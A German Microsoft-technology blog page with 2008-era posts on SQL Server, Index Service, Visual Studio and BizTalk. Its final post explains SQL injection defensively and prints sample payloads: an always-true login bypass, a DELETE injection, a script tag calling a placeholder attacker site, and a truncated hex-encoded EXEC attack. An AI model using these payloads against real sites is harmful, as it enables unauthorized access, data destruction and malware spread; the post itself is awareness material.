blog.atwork.at

news and infos about microsoft, technology, cloud and more

SQL Server und MSIDXS: Abfrage ist nicht gleich Abfrage

Letzte Woche hatte ich ein größeres "Häh???" (Kurzform von: Wie bitte?) - Erlebnis mit SQL Server in Verbindung mit Index-Service. Eine Abfrage funktioniert mit manchen Suchbegriffen, mit anderen jedoch nicht; es folgt neuerdings eine Fehlermeldung. Und das, nachdem diese Abfrage bereits seit Jahren einwandfrei funktioniert! Zugegeben, die Suchbegriffe, die ich verwende sind sehr komplex: Die Suche nach "arzt" funktioniert. Die Suche nach "pflege" funktioniert jedoch nicht... Aber schön der Reihe nach, ich hole mal etwas aus um das Problem zu beschreiben: Schon seit den "seligen" Windows NT-Zeiten ist der Microsoft Index Service mit an Board. Damit ist es mit Betriebssystem-Mitteln möglich das Filesystem zu durchsuchen. Dies ist einerseits sehr praktisch (Windows Desktop-Search) und andererseits natürlich auch möglich, die Kataloge selbst in eigenen Lösungen anzuzapfen und zu verwenden. Die Kataloge können in der Computerverwaltung definiert werden, der Index-Dienst kümmert sich dann um das Befüllen und Aktualisieren. Dies ist standardmäßig für Text-Dokumente und Office-Dokumente möglich. Für weitere Dokument-Typen stehen eine Reihe von IFilter (PDF, Office2007, etc.) zur Verfügung. Der Index-Dienst kann auch vom SQL Server verwendet werden - als Linked Server (eben auch von einer Remote-Maschine). Damit kann dann per T-SQL das Filesystem durchsucht werden. Nach der Katalog-Definition und Verlinkung geht´s dann gleich los; hier das (neue) Problem, welches bei mir entstanden ist: SELECT Q.FileName, Q.vPath FROM OPENQUERY(webserver_intern, 'SELECT FileName, vPath FROM "webserver-IIS".intern..SCOPE('' "\" '') WHERE CONTAINS( '' arzt '' )') AS Q Liefert alle Dokumente, wo im Filenamen oder im Inhalt "arzt" vorkommt. Schön. Nun dasselbe Query mit dem Suchbegriff "pflege": SELECT Q.FileName, Q.vPath FROM OPENQUERY(webserver_intern, 'SELECT FileName, vPath FROM "webserver-IIS".intern..SCOPE('' "\" '') WHERE CONTAINS( '' pflege '' )') AS Q OLE DB provider "MSIDXS" for linked server "webserver_intern" returned message "Das Zeilenhandle ist ungültig.".Msg 7330, Level 16, State 2, Line 1Cannot fetch a row from OLE DB provider "MSIDXS" for linked server "webserver_intern". Häh??? Was ist denn hier los? Die Suche nach "arzt" funktioniert und die Suche nach "pflege" funktioniert nicht (mehr)? Wie kann denn das sein? Man befragt also die Suchmaschine seiner Wahl nach der Fehlermeldung. Und erhält: Fast nichts. Nach vielen Suchbegriff-Varianten finde ich nur einen Forumsbeitrag, wo sinngemäß steht. "Ich habe dieses Problem. Wenn ich die Spalte "vPath" entferne und nur "Filename" verwende, klappt die Suche aber wieder." Ich probiere es also aus und ... es stimmt! Die Suche ohne Spalte vPath funktioniert wieder (auch für mein Suchwort "pflege"). Wie ich schon bemerkt habe, ist dieses Problem in meinem Fall erst vor kurzem aufgetreten: die Lösung hat jahrelang anstandslos funktioniert. Was ist also die Ursache? Also schnell einen Case bei Microsoft eröffnen und nachfragen. Unser sehr engagierter Partner Technical Consultant (PTC) recherchiert und stellt eine seltsame Frage: "Wurde kürzlich ein SQL Server von 32 bit nach 64 bit upgegraded?" Bingo! Genau das ist in meinem Szenario erfolgt: Die Datenbankmaschine wurde erneuert und läuft nun mit 64bit System statt zuvor mit 32bit System, während der Webserver (mit dem Index-Service) nach wie vor ein 32bit System ist. Die Suche hat dazu tatsächlich einen Eintrag ans Licht gefördert: Indexing Service: Querying 64b SQL linked server to a 32b Indexing Service ISSUE: When performing queries in certain architectures, the query terminates with an "invalid handle" error after returning 1 row when there are more than 50 records to return. When there are less than 50 rows to return, the query executes successfully. From To: 32-bit 64-bit32-bit works works64-bit fails works ...Issue does NOT occur when the path field is removed from the select statement. Da haben wir also die Ursache. Zumindest die Erklärung, dass es sich um ein bekanntes Problem handelt: KB940061, welcher jedoch noch nicht veröffentlicht ist. Anscheinend steht dafür ein private Hotfix zur Verfügung. Dieser Hotfix kann angefordert werden; im Windows SP3 wird dieser Hotfix enthalten sein. In meiner HOT-Applikation benötige ich die vPath-Spalte zum Glück nicht (da ich ein eigenes virtuelles Web als Katalogpfad verwende), in meiner COLD-Applikation (virtuelles Verzeichnis, wo ich datenbankseitig den Dokumentpfad benötige) muss ich bis zum Hotfix oder SP3 ohne vPath leben. Wahrscheinlich gibt es nicht so viele Szenarien, wo dieser spezielle Fall auftritt. Für mich war´s aber ein ziemlicher Aufwand und arbeitsintensiv, hier draufzukommen, dass eine SQL Server-Umstellung von 32 auf 64bit solche Phänomene auslösen kann, vor allem, weil dieses Problem meist erst viel später bemerkt wird und kein Zusammenhang zwischen der Umstellung und dem Auftreten des Problems hergestellt werden kann - bei mir ist die DB-Umstellung schon fast ein Jahr her und erst jetzt sind die Probleme bekannt geworden. Mögen Suchmaschinen diesen Artikel brav indizieren und anderen Anwendern diese Informationen zur SQL-Server-Index-Service 64bit Umstellung zu tragen! ;-) Beitrag von Toni Pohl

Die Microsoft Fundgrube: MSDN Code Gallery

Sind Sie zeitweise auf der Suche nach gezielten Informationen zu Microsoft Produkten? Eine Fundgrube ist die MSDN Code Gallery. Eigentlich für Entwickler gedacht, enthält das Portal aber auch viele Informationen für IT-Pros; beginnend mit .NET, ASP, CRM, über Dynamics und SQL Server bis hin zu Visual Studio und Whitepapers. Die MSDN Code Gallery bietet ein halbes Jahr nach dem Start bereits mehr als 800 Beispiel-Anwendungen und Code-Snippets zum Herunterladen sowie Videos, HowTo´s, Toolkits, SDKs, Fixes und Informationen zum Einsatz der verschiedensten Technologien. Diese Bibliothek ist auch für Nicht-Entwickler interessant: Hier finden sich unter anderem auch Internet Explorer 8 Beta 1 Whitepapers, Internet Explorer 8 Beta 1 Hands-on Labs for Tech-Ed 2008, Beispiele für SQL Server, verschiedenste Microsoft Dynamics Code samples und PlugIn´s, CRM Beispiele, SharePoint Referenzen, Outlook Add-In´s, Office-Add-In´s (z.B. ein Text-to-speech add-in for Microsoft Word 2007 with VSTO), Microsoft Search Server 2008 SDK Samples, Visual Studio Hotfixes (z.B. für VS SP1) und vieles mehr. Entwickler werden hier wahrscheinlich mehr Zeit investieren. Schon beim Durchblättern finden sich so viele interessante Themen (z.B. LINQ, WPF, Silverlight, etc.), wo man am liebsten gleich reinlesen oder ausprobieren möchte. Eine wahre Fundgrube! Stöbern Sie mal durch! Beitrag von Toni Pohl

Microsoft Visual Studio 2008 Service Pack 1 RTM Download

Wie angekündigt und ganz frisch: Hier ist es zum Download verfügbar, das RTM Service Pack1 für Visual Studio 2008 in den "main" languages mit etwa 830MB Größe: Microsoft Visual Studio 2008 Service Pack 1 (iso) Das Update installiert Visual Studio 2008 SP1 und das .NET Framework 3.5 Service Pack 1 (SP1). Beitrag von Toni Pohl

SQL Server 2008 Installation und Visual Studio 2008 SP1

SQL Server 2008 ist seit einer Woche zum Download verfügbar. Wenn auf dem Ziel-Computer allerdings Visual Studio 2008 ohne Service Pack installiert ist, folgt eine Fehlermeldung: A previous release of Microsoft Visual Studio 2008 is installed on this computer. Upgrade Microsoft Visual Studio 2008 to the SP1 before installing SQL Server 2008. Das bedeutet, man braucht Visual Studio 2008 SP1 (manche neue Funktionen sind auch Bestandteil des VS) - siehe auch KB956139. Das VS 2008 SP1 gibts bisher allerdings nur als Beta - siehe auch Blogeintrag hier. Aber: Das endgültige SP1 für VS2008 wird im Laufe des morgigen Tages (11.08.) erwartet! Es dauert also nicht mehr allzulange. ;-) Beitrag von Toni Pohl

TechNet Plus Abonnenten sind einfach immer einen Schritt voraus: SQL Server 2008 ist fertig!

Gestern hat Microsoft in einer Pressemitteilung bekanntgegeben, dass SQL Server 2008 fertig ist. SQL Server 2008 ist in insgesamt sieben Editionen verfügbar: SQL Server 2008 Enterprise, Standard, Workgroup, Web, Developer, Express und Compact 3.5 Die Developer-Version besitzt den vollen Funktionsumfang der Enterprise-Version, das Lizensierungsmodell gilt wie bisher jedoch nur für Development, Test und Demos. Das Pricing des neuen SQL Server 2008 ist gleichgeblieben. Die RTM-Versionen (Release to Manufacturing) sind seit heute für TechNet Plus Abonnenten zum Download bereit! Für alle Nicht-TechNet-Plus-Abonnenten: Die Evaluierungs-Versionen und die freien Editionen SQL Server 2008 (Express und Compact 3.5) sind direkt auf der SQL Server 2008 Produktseite - vorerst nur in englisch - downloadbar. Die deutschen Versionen werden in den nächsten Tagen folgen. Beitrag von Toni Pohl

Biztalk pur

Wollen Sie mehr über Biztalk Server erfahren? Microsoft Biztalk Server gibt es seit 2000 und liegt in der aktuellen Version BizTalk Server 2006 R2 vor. Biztalk wird bereits von über 7000 Unternehmen eingesetzt, um Geschäftsprozesse abzubilden und als Schnittstelle zwischen Systemen zu agieren, von SOA bis hin zu BI. Einen Überblick der sehr vielfältigen Möglichkeiten zur Verwendung und Integration in Office und Sharepoint mit Biztalk liefert dieser Flyer. Dazu bietet Microsoft in Kooperation mit dem Schulungspartner ETC erstmals im September und Dezember 2- bis 5-tägige BizTalk-Trainings an; sowohl MOC als auch erweiterte Trainings zu Development, Implementierung und Management. Mehr Informationen zu den Biztalk-Trainings finden Sie unter www.etc.at/biztalk. Profitieren Sie von den Erfahrungen und der Praxis der Biztalk-Spezialisten! Beitrag von Toni Pohl

TOP 10 List für SQL Server 2008

Die fertige Version von SQL Server 2008 kommt im zweiten Halbjahr 2008 (vielleicht auch schon im 3. Quartal) auf den Markt. Und was wäre die Welt ohne Top Ten Lists? Kevin Kline von Quest Software, SQL Server MVP hat eine solche Liste zusammengestellt: die zehn seiner Meinung nach wichtigsten neuen Funktionen des neuen SQL Servers. Das komplette Whitepaper ist als PDF (mit Angabe einer E-Mail Adresse und Kontaktdaten) bei Quest Software downzuladen. Um es spannend zu machen - wie wir es vor mehr als zwei Jahrzehnten bei David Lettermans Late Night Show gelernt haben - beginnen wir natürlich mit Nummer 10. Hier sind sie, die Top Ten Gründe mit den neuen Funktionen! 10. Neue SQL-Konstrukte (Grouping Sets, MERGE)9. Erleichterungen für Entwickler (LINQ, Table-Valued Parameters)8. Verbesserte Reporting Services (kein IIS mehr erforderlich, Funktionen und Leistung verbessert)7. Komprimierung (Daten + Backup)6. Datentypen und Datenspeicherung5. Sicherheit (Transparent Data Encryption, Erweiterbare Schlüsselverwaltung)4. Resource Governor3. Überwachung und Änderungsverfolgung (Audit-Objekt, DDL-Trigger)2. Leistungsfähigere Analysis Services1. Multi-Server-Management (Optimierte Installation, Policy-based Mangement)   Meine persönliche Reihenfolge wäre zwar genau umgedreht, aber die Liste zeigt die bemerkenswerten Erweiterungen und Verbesserungen der neuen SQL Server Version (siehe auch Alle Neuerungen im Überblick und SQL Server 2008 November CTP). Beitrag von Toni Pohl

Tool gegen SQL Injection

Seit Ende Juni gibt es eine Hilfe für Entwickler und IT-Administratoren gegen SQL Injection in Websites vom Typ classic asp und zwar den Microsoft Source Code Analyzer for SQL Injection - June 2008 CTP (siehe auch Beitrag Totgesagte leben länger - so auch SQL-Injection). Das Tool benötigt das Microsoft .Net 3.0 Framework und ist ein Command line-Utility. Nach Entpacken des Download-Pakets empfiehlt sich daher ein erster Blick in Readme.html. Um eine einzelne asp-Seite zu prüfen, wird diese einfach mit dem /Input-Parameter aufgerufen: msscasi_asp.exe /Input=C:\wwwroot\myweb\login.asp Das Ergebnis könnte dann beispielsweise so aussehen: Microsoft (R) Source Code Analyzer for SQL Injection Version 1.3.30601.30622Copyright (C) Microsoft Corporation.  All rights reserved. RESULT has no typeC:\wwwroot\myweb\shopfunc.asp(600) : warning C80420: Unvalidated function parameter possibly executed. Reported by Microsoft (R) Source Code Analyzer for SQL Injection on tracked object SQL (created as THEGUID`591). Path summary:- {THEGUID}[THEGUID`591 : string_input] created on 'Parameter' (line 591)- {THEGUID}[THEGUID`591 : string_input] to {SQL, THEGUID}[THEGUID`591 : string_input] on 'Transfer' (line 599)- {SQL, THEGUID}[THEGUID`591 : string_input] to {SQL, THEGUID}[THEGUID`591 : $error] on 'Execute' (line 600): Lines: 591, 596, 599, 600 C:\wwwroot\myweb\shopfunc.asp(833) : warning C80420: Unvalidated function parameter possibly executed. Reported by Microsoft (R) Source Code Analyzer for SQL Injection on tracked object SQL (created as TABID`825).There are other instances of this error:Unvalidated function parameter possibly executed. Reported by Microsoft (R) Source Code Analyzer for SQL Injection on tracked object SQL (created as TABID`825).(line 843) ...etc. In dieser geprüften Seite werden also einige Meldungen ausgeworfen - Handlungsbedarf für den Entwickler. Das Tool kennt sechs Fehler: 80400, 80403, 80406, 80407, 80420 or 80421, wobei 80400-Warnungen die höchste Priorität besitzen und sofort behoben werden sollten. Wenn keine Meldungen ausgegeben werden, ist die Seite in Ordnung: msscasi_asp.exe /Input=C:\wwwroot\myweb\datefunc.asp Microsoft (R) Source Code Analyzer for SQL Injection Version 1.3.30601.30622Copyright (C) Microsoft Corporation.  All rights reserved. Weitere Schritte (und wie ganze Websites geprüft werden können) finden Sie in Getting started with Microsoft Source Code Analyzer for SQL Injection. Das Tool ist somit eine einfache Hilfe für den Security-Check von ASP-Websites. Beitrag von Toni Pohl

Why Software Sucks

Auf der diesjährigen Microsoft TechEd in Orlando (wo wir leider nicht live dabei waren) gab´s eine interessante Session mit dem Titel "Why Software Sucks" von David Platt. Den Teaser dazu konnte ich so bestätigen, dass ich ihn hier posten musste (etwas zusammengefasst und die wesentlichsten Aussagen markiert) ;-) "Users think that today's software sucks. It's unsafe, unreliable, and hard to use. These problems are not technical. We've been able to solve them for many years, but instead we've gotten a paper clip with eyebrows. Why? Software sucks because developers forget (or never knew) THE bedrock principle of software development: KNOW THY USER, FOR HE IS NOT THEE. What do your customers come to you for? Hint: it's not software. Do you think your users care about your application? They don't. Never have, never will.They care about accomplishing the task that it does. They don't want to think about you or your application at all. It's your job to care about them anyway. Some developers understand and help their users, and those that treat users with contempt. ...Developers fear looking like dinosaurs by not having the latest technology, but ordinary users fear breaking an installation that currently works, or having useless junk like dancing paper clips slow down their computers so they need to buy new ones. Your user is not you. We put this nation on wheels not by training the entire population as mechanics, but by improving cars so they seldom need mechanics. The same transition needs to happen to the software industry. This talk provides sound design principles so that your software won't suck. Learn how blindness will improve your vision..." Als Lösungsanbieter fühlen wir uns hier richtig bestärkt! ;-)

Brauchbares SQL für HOT und COLD

Sind Sie Datenbank-Administrator oder Software-Entwickler? Interessiert Sie SQL-Server Technik? Wenn ja, dann kennen Sie wahrscheinlich Anforderungen wie diese: Hatten Sie schon einmal das Problem zwei Datenbanken vergleichen zu müssen? Oder eine Datenbank zu erweitern? Und das Ganze möglichst automatisiert? Ich habe diese Anforderung ... sehr oft. Es gibt eine Applikation, einmal HOT (Echtdaten) und einmal COLD (Demodaten) - die Benutzer verwenden HOT zum Arbeiten und COLD zum Testen. Es beginnt dann besonders interessant zu werden, wenn in der Demodatenbank neue Funktionen und Erweiterungen eingebaut werden. Diese werden getestet, Anwender geben Daten ein - und wollen dann auf einmal, dass die eingegebenen Daten in das Echtsystem übernommen werden. Leider war der Split der Datenbank-Version schon vor einem Monat und die Scripts zum Erweitern der HOT-Datenbank haben ihren Weg zum Administrator nicht gefunden. Und der steht nun da und weiß nicht, welche Schema-Änderungen durchzuführen sind, damit beide Systeme die gleichen Struktur haben, damit dann die Daten übernommen werden können. Klingt zu übertrieben? Glauben Sie mir, so etwas (und ähnliche Anforderungen) passiert in der Praxis öfters - vor allem bei rasch wachsenden Systemen. Da wäre es natürlich gut, sich helfen zu können. Zunächst einmal gibt es im SQL Management Studio im Kontextmenü immer den SCRIPT-Befehl: Diese Funktion schreibt dann beispielsweise ein ALTER des Objekts in ein File zum Ausführen auf dem Zielsystem. Das ist sehr brauchbar aber eben manuell. Wie kann Scripten und Vergleichen automatisiert werden? Hier hilft T-SQL weiter. Im SQL Server 2005 wurden die (kryptischen) Abfrage-Mechanismen des Vorgängers SQL Server 2000 durch neue Views im Schema sys ersetzt. Damit ist es nun bequem möglich, Datenbank-Objekte abzufragen. Hier nun ein paar praktische Beispiele: -- Anzeige aller Objekteselect * from sys.sysobjects order by xtype, name Liefert alle Objekte aus dem Systemkatalog. xtype gibt dabei an, um welchen Objekt-Typ es sich handelt (siehe unten). -- Anzeige aller Tables in einer DB:sp_tables -- Anzeige aller Views (0..Default Microsoft Views, 1..eigene Views):SELECT * FROM sys.all_views WHERE is_ms_shipped = 1 -- Detaillierte Anzeige aller Spalten-Informationen einer Tabelle:SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'produkte' -- SQL einer Stored Procedure anzeigen:sp_helptext 'spMeinProgramm' Durch ein JOIN mit Syscomments können auch die dahinterliegenden SQLs angezeigt werden! Somit funktioniert die Anzeige beispielsweise aller Views und der verwendeten SQL-Befehle so: select o.id, o.name, c.text from sysobjects o join syscomments c on o.id=c.id where xtype='V' order by id, colid /* -- xtype Werte:C = CHECK constraintD = Default or DEFAULT constraintF = FOREIGN KEY constraintL = LogFN = Scalar functionIF = Inlined table-functionP = Stored procedurePK = PRIMARY KEY constraint (type is K)RF = Replication filter stored procedure S = System tableTF = Table functionTR = TriggerU = User tableUQ = UNIQUE constraint (type is K)V = ViewX = Extended stored procedure*/ Mit diesen Werkzeugen können zum Beispiel alle Schemas oder SQLs (von Views, SPs od. Funcs) in eine Tabelle geschrieben werden. Diese könnte dann in einer Stored Procedure mit einer ebenso erzeugten Tabelle in einer anderen Datenbank vergleichen werden und die Unterschiede auswerfen. Oder die Tabelle als Textdatei exportiert werden und dann die beiden Files (z.B. mit Windows-Bordmitteln: fc.exe oder mit WinDiff - ja, das gibt es noch immer) verglichen werden. Die Vorgangsweise hängt natürlich vom erwünschten Ziel ab: Eine Automatisierung als Stored Procedure um alle unterschiedlichen Views, Stored Procedures und Functions auszuwerfen, oder per SSI, oder.... Also recht individuell. ;-) Der Knackpunkt für mich war, herauszufinden, wie man zu den SQL-Befehlen in den gespeicherten SQL-Objekten gelangt. Und das liefert eben das JOIN mit Syscomments zur weiteren Verarbeitung oder zum Parsen für komplexere Anwendungen (Ja, ich weiß: Die Schemata's können natürlich auch mit ADO.NET ausgelesen und verarbeitet werden - für einfache Anforderungen ist T-SQL jedoch gut geeignet). Achja, noch ein SQL zur Performance-Messung: Dynamic Management Views (DMV) liefern Informationen über den aktuellen Auslastungszustand des SQL Servers. Zum Beispiel ein Snapshot der aktuellen Aktivität eines SQL Servers: SELECT object_name, counter_name, instance_name, cntr_value FROM sys.dm_os_performance_counters WHERE counter_name IN ('Buffer cache hit ratio', 'User Connections', 'Transactions' , 'Average Wait Time (ms)', 'Transactions/sec', 'Errors/sec', 'Target Server Memory (KB)', 'Total Server Memory (KB)' )ORDER BY object_name, counter_name Diesen Output wieder periodisch in eine Tabelle schreiben, somit Daten über längere Zeiträume sammeln und mit Reporting Services auswerten. Und so weiter... SQL Server ist eine große Spielwiese ein DBMS mit vielfältigen Möglichkeiten! Beitrag von Toni Pohl

Download von SQL Server 2008 Release Candidate 0

Ganz schnell: SQL Server 2008 kommt im Herbst auf den Markt - siehe auch SQL Server 2008 Roadmap. Im msdn gibt´s bereits SQL Server 2008 Release Candidate 0 zum Download (wie für das zweite Quartal angekündigt) - dieser ist feature-complete! Im Download mit 3.3GB sind die folgenden Multiple Editions (x86, x64, ia64) enthalten:   •    SQL Server 2008 Developer Edition RC0 •    SQL Server 2008 Enterprise Edition RC0 •    SQL Server 2008 Standard Edition RC0 •    SQL Server 2008 Web Edition RC0 •    SQL Server 2008 Workgroup Edition RC0 Die Freischaltung der Version erfolgt mit dem product key aus dem msdn. SQL Server 2008 Release Candidate 0 (RC0) kann 180 Tage lang getestet werden und läuft danach aus. Beitrag von Toni Pohl

Totgesagte leben länger - so auch SQL-Injection

Die guten alten Zeiten - da war alles noch einfacher. Oder doch nicht? Ich habe mal an einem größeren Shop-System programmiert - das war im Jahr 2000 - und dabei gelernt, dass man einige Dinge beachten muss: Funktionalität, Usability und ... Security. Ein SQL-Server-System ist ja eine feine Sache, aber es könnte dazu benutzt werden, um "bösen" SQL-Code abzusetzen - wenn man nicht ein paar grundlegende Dinge berücksichtigt. Die Bezeichnung "SQL-Injection" bedeutet, dass Eingaben (meist durch Webformulare oder präparierte URLs) um syntaktisch korrekte SQL-Befehle erweitert werden, sodass von Außen bösartiger Code eingeschleust werden kann, der Daten ändert oder löscht. Warum ist SQL Injection jetzt (noch) ein Thema? Es gab in den letzten Wochen und Monaten einige Mitteilungen, dass Systeme mit IIS und SQL Server durch SQL Injection verwundbar seien. Diese sind schlichtweg - falsch! Es handelt sich bei diesen Attacken nicht um Schwachstellen von Windows oder IIS oder SQL Server, sondern um Fehler von Software-Lieferanten oder Entwicklern. Damit Applikationen durch SQL Injection verwundbar sind, müssen die folgenden Voraussetzungen zutreffen: Websites und Applikationen, welche Classic ASP (oder auch PHP, od. ASPX) verwenden, die SQL Server (oder ähnliche SQL-Datenbanksysteme wie Oracle, MySQL, etc.) verwenden und SQL-Befehle ungefiltert zusammensetzen und ausführen (siehe Beispiel unten). Die Verantwortung für die Softwarelösungen liegt beim Entwickler selbst!Und hier herrscht leider immer noch viel zu wenig Focus von Software-Entwicklern im Bereich Security, denn sonst wären solche Attacken gegen Webseitensysteme nicht mehr erfolgreich! Wie funktioniert SQL-Injection? Auch darüber ist schon viel berichtet worden, hier ein einfaches Beispiel zur Funktionsweise. Angenommen, es gibt auf einer Webseite eine Login-Seite: Diese verwendet die Texteingaben ungefiltert und baut daraus einen SQL-String zusammen, welcher gegen die Datenbank abgesetzt wird: SELECT * FROM Users WHERE Username = 'max' and Password = 'geheim' Das schaut soweit ja fürs Erste funktionell aus - und als Ergebnis werden alle Datensätze mit diesem Filter geliefert - im Idealfall ein Datensatz mit dem User Max, wo sein Kennwort geheim ist. Max wird dann angemeldet und ... zurück zum Start! Ein findiger, böser Mensch kann nun folgendes versuchen: in der Annahme, dass die User-Abfrage so (oder ähnlich) funktioniert, kann er nun in die Textfelder folgendes schreiben: ' or '1'='1 und dasselbe beim Passwort. Was kommt beim Zusammensetzen des SQL-Befehls in der Login-Seite raus? SELECT * FROM Users WHERE Username = '' or '1'='1' and Password = '' or '1'='1' Die Texteingaben werden in das SQL eingesetzt und liefern somit immer WAHR. Und was liefert diese Abfrage? ALLE Benutzer aus der Users-Tabelle. Das bedeutet zum Beispiel, dass (bei einer Login-Seite) der anonyme Benutzer gleich als erster User in der Tabelle angemeldet wird. Blöd. Noch blöder: Wenn der Angreifer sich nicht damit begnügt, sondern dahinter noch ein böses SQL absetzt: 1'='1';DELETE FROM Users; Ganz schlecht. Damit wird beim Ausführen der Abfrage die ganze Users-Tabelle gelöscht. Dumm gelaufen - für den Betreiber der Website. Optimierung von SQL Injection Eine weitere Variante - diese ist ganz aktuell aus einem Logfile einer Website entnommen, die mit SQL Injection bearbeitet wurde: Statt od. zusätzlich zur Bedingung wird ein Script eingesetzt, welches aufgerufen wird, wenn die Tabelle ausgelesen und in einer Website angezeigt wird: <script src="http://www.---boeseseite---.com/b.js"></script> Und hier drinnen gehts dann mit Javascript weiter... die aufrufende Seite wird zur Umleitung oder (im besten Fall) unbrauchbar. Suchen Sie mal im Web nach "banner82.com" oder "adw95.com" - dann finden Sie ziemlich viele (auch prominente) Websites, die durch die aktuellen SQL-Injection-Angriffe "ge-hackt" wurden und diese Scripts intus haben oder hatten. Hier ein Beispiel, wie so eine infizierte Seite dann aussehen kann: Hier sind viele Attacken ausgeführt worden, sodass das Script mehrfach injiziert wurde und teilweise wieder unbrauchbar wird. Noch ein Hinweis zu banner82: Diese Attacke wird nicht ganz im Klartext injiziert, sondern kommt in etwa so daher: DECLARE @S%20VARCHAR(4000);SET @S=CAST(0x4445434C415245204054205641 ..... 6F7220 AS VARCHAR(4000)); EXEC(@S) Das SQL wird in einer Variable zusammengebastelt, lädt alle Tabellen und Spaltennamen in einer Schleife und versucht, das Script überall hineinzuschreiben und wird am Schluss mit EXECute ausgeführt. Eine weitere Steigerung: Mittlerweile ist es nicht mehr so, dass ein Hacker manuell versucht, in die Datenbank einer Website zu einzudringen, sondern die Angriffe werden automatisiert. Dazu bietet sich zum Beispiel an, ein API von Google od. einer anderen Suchmaschine zu benutzen: Suche alle Sites, wo Parameter (z.B. http://www.--eineseite--/article?id=xyz) übergeben werden.Versuche, an den Parameter ein ' anzufügen.Analysiere die Response der Seite, ob der gesendete Parameter korrektes Encoding besitzt. Wenn nein, dann ist die Website "offen" und ein Kandidat für SQL-Injection-Scripts! Schutz vor SQL Injection Die Lösung: Es gibt für alle Entwickler eine einfache Regel: All input is evil! Jede Eingabe muss vom Programm gefiltert oder kontrolliert werden. Das bedeutet: Keine SQL-Befehle mehr aus Eingabefeldern zusammensetzen. Auch schon in ADO (Classic ASP) gab es Parameter-Übergabe, natürlich auch in ASP.NET. Diese verhindert, dass Texteingaben ungültige Zeichen enthalten und somit bösartige SQL-Befehle ausführen können! Aus der Demo-Abfrage von oben wird: select TOP (1) UserID from Users where username = @username and password = @password und @username und @password werden als Parameter übergeben. In ASP.NET 2.0 (VB.NET) sieht das dann beispielsweise so aus: Dim conn As SqlConnectionDim cmd As New SqlCommandconn = New SqlConnection(ConnectionStrings("conn").ConnectionString)conn.Open()cmd = New SqlCommand(SQL, conn)cmd.CommandType = CommandType.Text ' od besser: .StoredProcedurecmd.Parameters.AddWithValue("@username", Me.txtUsername.Text)cmd.Parameters.AddWithValue("@password", Me.txtPassword.Text)UserID = cmd.ExecuteScalar()conn.Close() und schon hat SQL-Injection dank der Parameter-Übergabe keine Chance mehr. Das Ganze noch in einen Try..Catch Block, mit etwas Fehlerabsicherung versehen und man hat sauberen, sicheren Code (Hardcore-Entwickler mögen mir verzeihen - ich weiß, der Code kann effizienter formuliert werden aber das Beispiel dient nur zur Demonstration). Ziel dieses Artikels ist, das Bewußtsein zu diesem (eigentlich sehr alten) Thema zu fördern, die Funktionsweise zu demonstrieren und Entwickler anzuhalten, ihre Software sicher zu programmieren, damit keine mißbräuchliche Verwendung von öffentlich zugänglichen Webseiten möglich ist. Es gibt dazu eine Fülle von Anleitungen und Hilfen. Viel mehr zu diesem Thema und weitere Hilfestellung, wie man sich davor schützen kann, finden Sie in den folgenden Links: http://blogs.technet.com/swi/archive/2008/05/29/sql-injection-attack.aspx - Microsoft´s call to action und weitere Infos: http://weblogs.asp.net/scottgu/archive/2006/09/30/Tip_2F00_Trick_3A00_-Guard-Against-SQL-Injection-Attacks.aspx - Scott Guthrie´s blog http://msdn.microsoft.com/en-us/library/ms998271.aspx - msdn: How To: Protect From SQL Injection in ASP.NET http://msdn.microsoft.com/en-us/library/bb671351.aspx - msdn: Explained - SQL Injection http://technet.microsoft.com/de-de/library/ms161953.aspx - technet: SQL Injection http://msdn.microsoft.com/en-us/library/aa224806.aspx  - Injection Protection Achja, es gibt natürlich auch zum Thema Programmieren im Internet einige weitere interessante Security-Themen: SQL Cross Site Scripting, Canonicalization Attacks (wußten Sie, wie viele Arten es gibt, eine URL anzugeben, zum Beispiel auch dezimal), Query String, Form, Cookie, HTTP Header-Manipulations und vieles mehr. Internet-Technologie ist toll, aber bietet eine Reihe von Angriffsmöglichkeiten. Bei Tauchern heißt der Abschiedsgruß "Gut Luft". Bei Entwicklern sollte es heißen "Secure coding"! ;-) Beitrag von Toni Pohl